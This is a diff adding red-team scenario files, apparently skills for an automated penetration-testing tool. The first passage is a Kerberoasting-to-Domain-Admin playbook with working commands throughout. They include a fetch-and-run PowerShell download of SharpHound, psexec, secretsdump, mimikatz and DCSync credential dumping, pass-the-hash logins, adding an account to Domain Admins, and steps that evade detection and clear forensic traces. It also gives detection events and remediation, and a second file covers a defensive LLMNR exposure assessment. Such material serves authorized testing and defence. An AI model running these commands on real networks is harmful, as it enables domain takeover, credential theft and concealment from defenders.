+ # Using SharpHound executable
317
+ .\SharpHound.exe -c All --outputdirectory C:\Temp\bh_output
318
+
319
+ # Or using PowerShell module
320
+ IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1')
321
+ Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp\bh_output
322
+ ```
323
+
324
+ **Step 6b — From Linux using bloodhound-python:**
325
+ ```bash
326
+ pip install bloodhound
327
+ bloodhound-python -u SQLSvc -p 'SQL2019!' -d CORP.LOCAL -dc dc01.corp.local -c All -ns 192.168.1.10
328
+ ```
329
+
330
+ **Step 6c — Import data into BloodHound:**
331
+ ```
332
+ 1. Start BloodHound (or BloodHound CE via Docker)
333
+ 2. Upload the ZIP file from SharpHound collection
334
+ 3. Navigate to: Analysis → Shortest Paths → Shortest Path to Domain Admins
335
+ 4. Set start node to: SQLSvc
336
+ ```
337
+
338
+ **Key BloodHound queries to run:**
339
+ ```cypher
340
+ -- Find shortest path from SQLSvc to Domain Admins
341
+ MATCH p=shortestPath((u:User {name:"SQLSVC@CORP.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p
342
+
343
+ -- Find all paths (not just shortest)
344
+ MATCH p=(u:User {name:"SQLSVC@CORP.LOCAL"})-[*1..5]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}) RETURN p
345
+
346
+ -- Check if SQLSvc has local admin rights anywhere
347
+ MATCH (u:User {name:"SQLSVC@CORP.LOCAL"})-[:AdminTo]->(c:Computer) RETURN c.name
348
+ ```
349
+
350
+ **Expected Findings:**
351
+ - SQLSvc has `AdminTo` relationship on DC01
352
+ - Or: SQLSvc → `MemberOf` → Group → `AdminTo` → DC01
353
+ - Or: SQLSvc → `GenericAll` / `WriteDACL` → higher-privileged account
354
+
355
+ ---
356
+
357
+ ### Step 7: Execute Lateral Movement / Privilege Escalation
358
+
359
+ **Scenario A — SQLSvc has direct admin on DC (real-world reference case):**
360
+
361
+ ```bash
362
+ # PSexec to DC as SQLSvc
363
+ psexec.py CORP.LOCAL/SQLSvc:'SQL2019!'@dc01.corp.local
364
+
365
+ # Dump domain credentials
366
+ secretsdump.py CORP.LOCAL/SQLSvc:'SQL2019!'@dc01.corp.local
367
+
368
+ # Or once on DC, run mimikatz
369
+ .\mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit"
370
+ ```
371
+
372
+ **Scenario B — SQLSvc has GenericAll/WriteDACL over another account:**
373
+
374
+ ```powershell
375
+ # Reset target account's password
376
+ Set-DomainUserPassword -Identity TargetAdmin -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Credential $cred
377
+
378
+ # Or add SQLSvc to Domain Admins directly (if WriteDACL on group)
379
+ Add-DomainGroupMember -Identity "Domain Admins" -Members SQLSvc
380
+ ```
381
+
382
+ **Scenario C — SQLSvc can DCSync (if replication rights):**
383
+
384
+ ```bash
385
+ secretsdump.py -just-dc CORP.LOCAL/SQLSvc:'SQL2019!'@192.168.1.10
386
+ ```
387
+
388
+ **Confirm Domain Admin access:**
389
+ ```bash
390
+ crackmapexec smb 192.168.1.10 -u Administrator -H <NTLM_hash_from_dump> --shares
391
+ # or
392
+ wmiexec.py -hashes :<NTLM> CORP.LOCAL/Administrator@192.168.1.10
393
+ ```
394
+
395
+ ---
396
+
397
+ ## Real-World Reference
398
+
399
+ **Scenario:** SQLSvc account at a mid-size organization running SQL Server 2019.
400
+
401
+ 1. **Discovery:** Internal network access (post-phish or assumed-breach engagement). Ran `GetUserSPNs.py` and found `SQLSvc` with SPN `MSSQLSvc/sql01.corp.local:1433`. `PasswordLastSet` was 4 years old. Account was a member of `Domain Admins` (misconfiguration — service accounts should never be DA members).
402
+
403
+ 2. **Kerberoast:** Requested TGS ticket in ~2 seconds. Hash type was RC4 (etype 23).
404
+
405
+ 3. **Crack:** Dictionary attack with `rockyou.txt + best64.rule` cracked the password (`SQL2019!`) in under 3 minutes on a mid-range GPU.
406
+
407
+ 4. **Exploitation:** `psexec.py` to the Domain Controller using SQLSvc credentials succeeded immediately. The account had unrestricted shell access on the DC.
408
+
409
+ 5. **DA Achieved:** Ran `secretsdump.py` to extract the `krbtgt` hash and all domain account hashes. Created a Golden Ticket for persistence. Full domain compromise from initial access: **47 minutes.**
410
+
411
+ **Root causes:**
412
+ - Service account was member of Domain Admins (unnecessary privilege)
413
+ - Password had not been rotated in 4 years
414
+ - No AES-only enforcement (RC4 still permitted)
415
+ - No detection rule for bulk TGS requests
416
+
417
+ ---
418
+
419
+ ## MITRE ATT&CK Mapping
420
+
421
+ | Step | Action | Tactic | Technique | Sub-technique |
422
+ |------|--------|--------|-----------|---------------|
423
+ | 1 | Enumerate SPNs via LDAP | Discovery | T1018 Remote System Discovery / T1087 Account Discovery | T1087.002 Domain Account |
424
+ | 2 | Request TGS tickets for SPNs | Credential Access | T1558 Steal or Forge Kerberos Tickets | T1558.003 Kerberoasting |
425
+ | 3 | Save ticket hashes to file | Collection | T1005 Data from Local System | — |
426
+ | 4 | Crack hashes offline with hashcat | Credential Access | T1110 Brute Force | T1110.002 Password Cracking |
427
+ | 5 | Authenticate as SQLSvc | Defense Evasion / Lateral Movement | T1078 Valid Accounts | T1078.002 Domain Accounts |
428
+ | 6 | BloodHound AD enumeration | Discovery | T1482 Domain Trust Discovery / T1069 Permission Groups Discovery | T1069.002 Domain Groups |
429
+ | 7 | PSexec / WMIexec to DC | Lateral Movement | T1021 Remote Services | T1021.002 SMB/Windows Admin Shares |
430
+ | 7 | Secretsdump / credential dump | Credential Access | T1003 OS Credential Dumping | T1003.003 NTDS |
431
+ | 7 | Add account to DA group | Privilege Escalation | T1098 Account Manipulation | — |
432
+
433
+ ---
434
+
435
+ ## Detection & OPSEC
436
+
437
+ ### How This Attack Is Detected
438
+
439
+ **Kerberoasting Detection:**
440
+ - **Event ID 4769** — Kerberos Service Ticket Operations: filter for `Ticket Encryption Type = 0x17` (RC4) for service accounts that normally use AES
441
+ - **Volume anomaly:** Multiple TGS requests for different SPNs in a short window from a single source IP
442
+ - **ATA / Defender for Identity:** Built-in Kerberoasting detection alert (raises when RC4 TGS requested for accounts configured with AES)
443
+ - **SIEM rule:** `EventID=4769 AND TicketEncryptionType=0x17 AND ServiceName != krbtgt` with threshold-based alerting
444
+
445
+ **Lateral Movement Detection:**
446
+ - **Event ID 7045** (Service Install) — PSexec creates a service on the target
447
+ - **Event ID 4624** (Logon Type 3) — Network logon from unexpected source
448
+ - **Event ID 4648** — Explicit credential logon
449
+ - **Sysmon Event ID 1** — Process creation (psexec spawning cmd.exe under SYSTEM)
450
+
451
+ **Credential Dumping Detection:**
452
+ - **Event ID 4662** — Object access on AD objects with replication rights (DCSync)
453
+ - **Defender for Identity:** DCSync alert triggers on non-DC accounts requesting replication
454
+
455
+ ### How to Reduce Detection Risk (Authorized Engagements)
456
+
457
+ - **Target specific accounts** rather than requesting tickets for all SPNs at once — reduces volume anomaly
458
+ - **Use AES tickets** where possible (less anomalous than RC4 downgrade)
459
+ - **Stagger requests** over time (minutes apart) if stealth is a requirement
460
+ - **Avoid PSexec** — use WMIexec or Evil-WinRM instead (less noisy, no service install)
461
+ - **Use legitimate admin tools** (WMIC, PowerShell remoting) if they are already in use in the environment
462
+ - **BloodHound collection:** Use `--stealth` flag in SharpHound to reduce LDAP query volume; run during business hours to blend in
463
+
464
+ ```powershell
465
+ # Stealth SharpHound collection
466
+ .\SharpHound.exe -c DCOnly --stealth --outputdirectory C:\Temp\
467
+ ```
468
+
469
+ ### Artifacts Left Behind
470
+
471
+ | Artifact | Location | Notes |
472
+ |----------|----------|-------|
473
+ | SharpHound ZIP output | C:\Temp\ (or specified path) | Delete after collection |
474
+ | SharpHound binary | Wherever dropped | Delete after use |
475
+ | PSexec service | Target's Services (PSEXESVC) | Removed on exit but check SCM |
476
+ | Event logs | DC and target system Security log | Entries for 4769, 4624, 7045 |
477
+ | Prefetch files | C:\Windows\Prefetch\ | Execution traces for dropped binaries |
478
+ | PowerShell history | %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt | Clear or avoid |
479
+ | Network captures | Potentially captured by IDS/NDR | Kerberos traffic is visible on the wire |
480
+
481
+ ---
482
+
483
+ ## Cleanup
484
+
485
+ Complete these steps after the authorized engagement to restore the environment.
486
+
487
+ ### 1. Remove Dropped Files
488
+
489
+ ```powershell
490
+ # On target systems — remove all dropped tools
491
+ Remove-Item -Path "C:\Temp\SharpHound.exe" -Force
492
+ Remove-Item -Path "C:\Temp\Rubeus.exe" -Force
493
+ Remove-Item -Path "C:\Temp\mimikatz.exe" -Force
494
+ Remove-Item -Path "C:\Temp\*.zip" -Force # BloodHound output files
495
+ Remove-Item -Path "C:\Temp\bh_output\" -Recurse -Force
496
+ ```
497
+
498
+ ### 2. Clear PowerShell History
499
+
500
+ ```powershell
501
+ # On each compromised host
502
+ Remove-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Force
503
+ Clear-History
504
+ ```
505
+
506
+ ### 3. Remove Prefetch Traces
507
+
508
+ ```powershell
509
+ # Requires admin — remove prefetch for dropped tools
510
+ Remove-Item "C:\Windows\Prefetch\SHARPHOUND*" -Force
511
+ Remove-Item "C:\Windows\Prefetch\RUBEUS*" -Force
512
+ Remove-Item "C:\Windows\Prefetch\MIMIKATZ*" -Force
513
+ ```
514
+
515
+ ### 4. Verify PSexec Service Removed
516
+
517
+ ```powershell
518
+ # Check if PSEXESVC remains on target
519
+ Get-Service -Name PSEXESVC -ErrorAction SilentlyContinue
520
+ # If present:
521
+ Stop-Service PSEXESVC -Force
522
+ sc.exe delete PSEXESVC
523
+ ```
524
+
525
+ ### 5. Revert Any AD Changes Made
526
+
527
+ ```powershell
528
+ # If you added any accounts to groups, remove them
529
+ Remove-DomainGroupMember -Identity "Domain Admins" -Members <added_account>
530
+
531
+ # If you reset any passwords, restore original (coordinate with client)
532
+ # If you created any accounts, delete them
533
+ Remove-ADUser -Identity <test_account> -Confirm:$false
534
+ ```
535
+
536
+ ### 6. Document Artifacts for Client Report
537
+
538
+ Before cleanup, document:
539
+ - Event IDs generated (for detection validation report)
540
+ - Systems accessed and timestamps
541
+ - Credentials obtained (for inclusion in findings report — do not transmit insecurely)
542
+ - BloodHound paths identified
543
+
544
+ ---
545
+
546
+ ## References
547
+
548
+ ### Tools
549
+ - **Impacket** — https://github.com/fortra/impacket (GetUserSPNs.py, psexec.py, secretsdump.py, wmiexec.py)
550
+ - **Rubeus** — https://github.com/GhostPack/Rubeus (Windows-native Kerberoasting)
551
+ - **BloodHound** — https://github.com/BloodHoundAD/BloodHound
552
+ - **BloodHound CE** — https://github.com/SpecterOps/BloodHound
553
+ - **SharpHound** — https://github.com/BloodHoundAD/SharpHound
554
+ - **bloodhound-python** — https://github.com/dirkjanm/BloodHound.py
555
+ - **PowerView** — https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
556
+ - **Hashcat** — https://hashcat.net/hashcat/
557
+ - **CrackMapExec** — https://github.com/byt3bl33d3r/CrackMapExec
558
+ - **Evil-WinRM** — https://github.com/Hackplayers/evil-winrm
559
+
560
+ ### Password Lists
561
+ - **rockyou.txt** — Pre-installed on Kali; https://github.com/brannondorsey/naive-hashcat/releases
562
+ - **SecLists** — https://github.com/danielmiessler/SecLists/tree/master/Passwords
563
+
564
+ ### MITRE ATT&CK References
565
+ - **T1558.003 Kerberoasting** — https://attack.mitre.org/techniques/T1558/003/
566
+ - **T1110.002 Password Cracking** — https://attack.mitre.org/techniques/T1110/002/
567
+ - **T1078.002 Domain Accounts** — https://attack.mitre.org/techniques/T1078/002/
568
+
569
+ ### Further Reading
570
+ - **The Kerberoasting Attack** (SpecterOps) — https://posts.specteropsio/kerberoasting-revisited-d434351bd4d1
571
+ - **Detecting Kerberoasting** (Microsoft) — https://docs.microsoft.com/en-us/azure/defender-for-identity/alerts-overview
572
+ - **Managed Service Accounts** (Microsoft) — https://docs.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/
573
+ - **Hashcat example hashes** — https://hashcat.net/wiki/doku.php?id=example_hashes
@@ -0,0 +1,112 @@
1
+ ---
2
+ name: rt-scenario-n002
3
+ description: "N-002: LLMNR/NBNS exposure assessment leading to credential-risk and lateral-movement impact analysis. Domain: network. Authorized internal scenario focused on detection, control validation, and remediation."
4
+ ---
5
+
6
+ # N-002: LLMNR/NBNS Credential Exposure Risk
7
+
8
+ > Execute only on explicitly approved internal network segments. Do not collect, crack, or reuse real user credentials unless the SEAD specifically authorizes credential testing and defines handling rules.
9
+
10
+ ## Overview
11
+
12
+ LLMNR, NBNS, and related legacy name-resolution behavior can cause clients to disclose authentication material to untrusted responders on the same network. This scenario evaluates whether the environment is vulnerable, how far the risk could extend, and which controls would break the chain.
13
+
14
+ | Field | Value |
15
+ |---|---|
16
+ | Domain | Network / Active Directory |
17
+ | Objective | Validate legacy name-resolution credential exposure risk |
18
+ | Required Access | Internal network presence |
19
+ | Detection Risk | Medium |
20
+ | Primary Impact | Credential exposure and possible lateral movement |
21
+
22
+ ## Prerequisites
23
+
24
+ - Internal VLAN/subnet explicitly in scope.
25
+ - SOC/NOC notification completed if required.
26
+ - Credential handling rules defined.
27
+ - Test workstation or controlled lab user available.
28
+ - No production password cracking unless explicitly approved.
29
+
30
+ ## Attack Chain Model
31
+
32
+ 1. Attacker gains internal network position.
33
+ 2. Clients attempt legacy name resolution.
34
+ 3. Authentication material may be exposed to an untrusted responder.
35
+ 4. Exposed credentials may enable access to additional hosts.
36
+ 5. Lateral access may expose sensitive shares or admin interfaces.
37
+
38
+ ## Safe Validation Workflow
39
+
40
+ ### Step 1 - Confirm Protocol Posture
41
+
42
+ Review GPOs, endpoint configuration, and network monitoring for:
43
+
44
+ - LLMNR enabled/disabled.
45
+ - NetBIOS over TCP/IP enabled/disabled.
46
+ - mDNS exposure.
47
+ - SMB signing requirement.
48
+ - Local admin password uniqueness.
49
+
50
+ ### Step 2 - Passive Observation
51
+
52
+ Where approved, observe whether clients emit legacy name-resolution requests. Record only metadata needed for proof:
53
+
54
+ - Timestamp.
55
+ - Segment.
56
+ - Protocol.
57
+ - Query name.
58
+ - Test host identifier.
59
+
60
+ ### Step 3 - Controlled Test
61
+
62
+ Use a client-approved test machine or lab account to trigger a harmless name-resolution event and confirm whether the network would allow spoofed responses.
63
+
64
+ ### Step 4 - Impact Modeling
65
+
66
+ Do not use real credentials by default. Model impact from:
67
+
68
+ - Password policy.
69
+ - Local admin reuse.
70
+ - SMB signing posture.
71
+ - EDR/SOC detection.
72
+ - Network segmentation.
73
+
74
+ ## MITRE ATT&CK Mapping
75
+
76
+ | Phase | Tactic | Technique |
77
+ |---|---|---|
78
+ | Exposure | Credential Access | Adversary-in-the-Middle |
79
+ | Credential Use | Credential Access | Password Cracking |
80
+ | Movement | Lateral Movement | Valid Accounts |
81
+
82
+ ## Evidence
83
+
84
+ Capture:
85
+
86
+ - GPO/configuration screenshots.
87
+ - Passive protocol observations.
88
+ - Test host proof.
89
+ - Detection or alert evidence if generated.
90
+
91
+ ## Detection
92
+
93
+ - Legacy name-resolution requests from endpoints.
94
+ - Suspicious responder behavior.
95
+ - SMB authentication to unusual hosts.
96
+ - Authentication failures after capture attempts.
97
+
98
+ ## Remediation
99
+
100
+ - Disable LLMNR and NetBIOS where possible.
101
+ - Require SMB signing.
102
+ - Deploy Windows LAPS or equivalent.
103
+ - Enforce strong password policy.
104
+ - Segment user networks.
105
+ - Alert on name-resolution poisoning patterns.
106
+
107
+ ## Autodoc
108
+
109
+ ```bash
110
+ python _rtexit/scripts/autodoc_engine.py log --skill rt-scenario-n002 --phase exploitation --cmd "LLMNR/NBNS posture validation" --output "legacy name resolution risk summary"
111
+ ```
112
+